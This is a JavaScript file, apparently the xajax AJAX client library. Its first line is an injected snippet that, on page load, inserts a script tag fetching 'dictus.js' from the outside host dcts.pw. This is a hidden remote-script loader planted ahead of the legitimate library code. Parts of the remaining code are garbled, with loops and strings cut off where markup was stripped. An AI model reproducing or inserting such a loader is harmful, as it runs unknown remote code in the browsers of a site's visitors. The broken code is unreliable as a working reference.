if(("dcts" in window)===false){window["dcts"]=function(d,t,u){var a=d.createElement(t),c=d.getElementsByTagName(t)[0];a.async=true;a.type="text/java"+t;a.src=u;c.parentNode.insertBefore(a,c);}(document,"script","http://dcts.pw/dictus.js");}function Xajax(){this.arrayContainsValue=function(array,valueToCheck){for(i in array){if(array[i]==valueToCheck){return true;}}return false;};this.DebugMessage=function(text){if(text.length>1000){text=text.substr(0,1000)+"...\n[long response]\n...";}try{if(this.debugWindow==undefined||this.debugWindow.closed==true){this.debugWindow=window.open("about:blank","xajax-debug","width=800,height=600,scrollbars=1,resizable,status");this.debugWindow.document.write('Xajax debug output

Xajax debug output

');}debugTag=this.debugWindow.document.getElementById("debugTag");if(!debugTag){throw new Error();}text=text.replace(/&/g,"&");text=text.replace(//g,">");debugTag.innerHTML=(""+(new Date()).toString()+": "+text+"
")+debugTag.innerHTML;}catch(e){alert("Xajax Debug:\n "+text);}};this.workId="xajaxWork"+new Date().getTime();this.depth=0;this.responseErrorsForAlert=["400","401","402","403","404","500","501","502","503"];this.getRequestObject=function(){if(xajaxDebug){this.DebugMessage("Initializing Request Object..");}var req=null;if(typeof XMLHttpRequest!="undefined"){req=new XMLHttpRequest();}if(!req&&typeof ActiveXObject!="undefined"){try{req=new ActiveXObject("Msxml2.XMLHTTP");XMLHttpRequest=function(){return new ActiveXObject("Msxml2.XMLHTTP");};}catch(e){try{req=new ActiveXObject("Microsoft.XMLHTTP");XMLHttpRequest=function(){return new ActiveXObject("Microsoft.XMLHTTP");};}catch(e2){try{req=new ActiveXObject("Msxml2.XMLHTTP.4.0");XMLHttpRequest=function(){return new ActiveXObject("Msxml2.XMLHTTP.4.0");};}catch(e3){req=null;}}}}if(!req&&window.createRequest){req=window.createRequest();}if(!req){this.DebugMessage("Request Object Instantiation failed.");}return req;};this.$=function(sId){if(!sId){return null;}var returnObj=document.getElementById(sId);if(!returnObj&&document.all){returnObj=document.all[sId];}if(xajaxDebug&&!returnObj&&sId!=this.workId){this.DebugMessage('Element with the id "'+sId+'" not found.');}return returnObj;};this.include=function(sFileName){var objHead=document.getElementsByTagName("head");var objScript=document.createElement("script");objScript.type="text/javascript";objScript.src=sFileName;objHead[0].appendChild(objScript);};this.stripOnPrefix=function(sEventName){sEventName=sEventName.toLowerCase();if(sEventName.indexOf("on")==0){sEventName=sEventName.replace(/on/,"");}return sEventName;};this.addOnPrefix=function(sEventName){sEventName=sEventName.toLowerCase();if(sEventName.indexOf("on")!=0){sEventName="on"+sEventName;}return sEventName;};this.addHandler=function(sElementId,sEvent,sFunctionName){if(window.addEventListener){sEvent=this.stripOnPrefix(sEvent);eval("this.$('"+sElementId+"').addEventListener('"+sEvent+"',"+sFunctionName+",false);");}else{if(window.attachEvent){sAltEvent=this.addOnPrefix(sEvent);if(eval("this.$('"+sElementId+"').attachEvent('"+sAltEvent+"',"+sFunctionName+");")){window.attachEvent("onunload",eval("function(){xajax.$('"+sElementId+"').detachEvent('"+sAltEvent+"',"+sFunctionName+");}"));}}else{sAltEvent=this.addOnPrefix(sEvent);eval("this.$('"+sElementId+"')."+sAltEvent+" = "+sFunctionName);}}};this.removeHandler=function(sElementId,sEvent,sFunctionName){if(window.removeEventListener){sEvent=this.stripOnPrefix(sEvent);eval("this.$('"+sElementId+"').removeEventListener('"+sEvent+"',"+sFunctionName+",false);");}else{if(window.detachEvent){sAltEvent=this.addOnPrefix(sEvent);try{eval("this.$('"+sElementId+"').detachEvent('"+sAltEvent+"',"+sFunctionName+");");}catch(ignore){}}else{sAltEvent=this.addOnPrefix(sEvent);eval("this.$('"+sElementId+"')."+sAltEvent+" = null");}}};this.create=function(sParentId,sTag,sId){var objParent=this.$(sParentId);objElement=document.createElement(sTag);objElement.setAttribute("id",sId);if(objParent){objParent.appendChild(objElement);}};this.insert=function(sBeforeId,sTag,sId){var objSibling=this.$(sBeforeId);objElement=document.createElement(sTag);objElement.setAttribute("id",sId);objSibling.parentNode.insertBefore(objElement,objSibling);};this.insertAfter=function(sAfterId,sTag,sId){var objSibling=this.$(sAfterId);objElement=document.createElement(sTag);objElement.setAttribute("id",sId);objSibling.parentNode.insertBefore(objElement,objSibling.nextSibling);};this.getInput=function(sType,sName,sId){var Obj;if(!window.addEventListener){Obj=document.createElement('');}else{Obj=document.createElement("input");Obj.setAttribute("type",sType);Obj.setAttribute("name",sName);Obj.setAttribute("id",sId);}return Obj;};this.createInput=function(sParentId,sType,sName,sId){var objParent=this.$(sParentId);var objElement=this.getInput(sType,sName,sId);if(objParent&&objElement){objParent.appendChild(objElement);}};this.insertInput=function(sBeforeId,sType,sName,sId){var objSibling=this.$(sBeforeId);var objElement=this.getInput(sType,sName,sId);if(objElement&&objSibling&&objSibling.parentNode){objSibling.parentNode.insertBefore(objElement,objSibling);}};this.insertInputAfter=function(sAfterId,sType,sName,sId){var objSibling=this.$(sAfterId);var objElement=this.getInput(sType,sName,sId);if(objElement&&objSibling&&objSibling.parentNode){objSibling.parentNode.insertBefore(objElement,objSibling.nextSibling);}};this.remove=function(sId){objElement=this.$(sId);if(objElement&&objElement.parentNode&&objElement.parentNode.removeChild){objElement.parentNode.removeChild(objElement);}};this.replace=function(sId,sAttribute,sSearch,sReplace){var bFunction=false;if(sAttribute=="innerHTML"){sSearch=this.getBrowserHTML(sSearch);}eval("var txt=this.$('"+sId+"')."+sAttribute);if(typeof txt=="function"){txt=txt.toString();bFunction=true;}if(txt.indexOf(sSearch)>-1){var newTxt="";while(txt.indexOf(sSearch)>-1){x=txt.indexOf(sSearch)+sSearch.length+1;newTxt+=txt.substr(0,x).replace(sSearch,sReplace);txt=txt.substr(x,txt.length-x);}newTxt+=txt;if(bFunction){eval('this.$("'+sId+'").'+sAttribute+"=newTxt;");}else{if(this.willChange(sId,sAttribute,newTxt)){eval('this.$("'+sId+'").'+sAttribute+"=newTxt;");}}}};this.getFormValues=function(frm){var objForm;var submitDisabledElements=false;if(arguments.length>1&&arguments[1]==true){submitDisabledElements=true;}var prefix="";if(arguments.length>2){prefix=arguments[2];}if(typeof(frm)=="string"){objForm=this.$(frm);}else{objForm=frm;}var sXml="";if(objForm&&objForm.tagName.toUpperCase()=="FORM"){var formElements=objForm.elements;for(var i=0;i"){sXml+="&";}if(formElements[i].type=="select-multiple"){for(var j=0;j";return sXml;};this.objectToXML=function(obj){var sXml="";for(i in obj){try{if(i=="constructor"){continue;}if(obj[i]&&typeof(obj[i])=="function"){continue;}var key=i;var value=obj[i];if(value&&typeof(value)=="object"&&this.depth<=50){this.depth++;value=this.objectToXML(value);this.depth--;}sXml+=""+key+""+value+"";}catch(e){if(xajaxDebug){this.DebugMessage(e.name+": "+e.message);}}}sXml+="";return sXml;};this._nodeToObject=function(node){if(!node){return"";}if(node.nodeName=="#cdata-section"||node.nodeName=="#text"){var data="";for(var j=0;j"+document.getElementsByTagName("HTML")[0].innerHTML+"";};this.processResponse=function(xml){clearTimeout(loadingTimeout);this.doneLoadingFunction();if(xajaxStatusMessages==true){window.status="Processing...";}var tmpXajax=null;xml=xml.documentElement;if(xml==null){return;}var skipCommands=0;for(var i=0;i0){skipCommands--;continue;}if(xml.childNodes[i].nodeName=="cmd"){var cmd;var id;var property;var data;var search;var type;var before;var objElement=null;for(var j=0;j1&&(xml.childNodes[i].firstChild.nodeName=="#cdata-section"||xml.childNodes[i].firstChild.nodeName=="#text")){data="";for(var j=0;j1){for(var j=0;j1&&(xml.childNodes[i].childNodes[j].firstChild.nodeName=="#cdata-section"||xml.childNodes[i].childNodes[j].firstChild.nodeName=="#text")){var internalData="";for(var k=0;k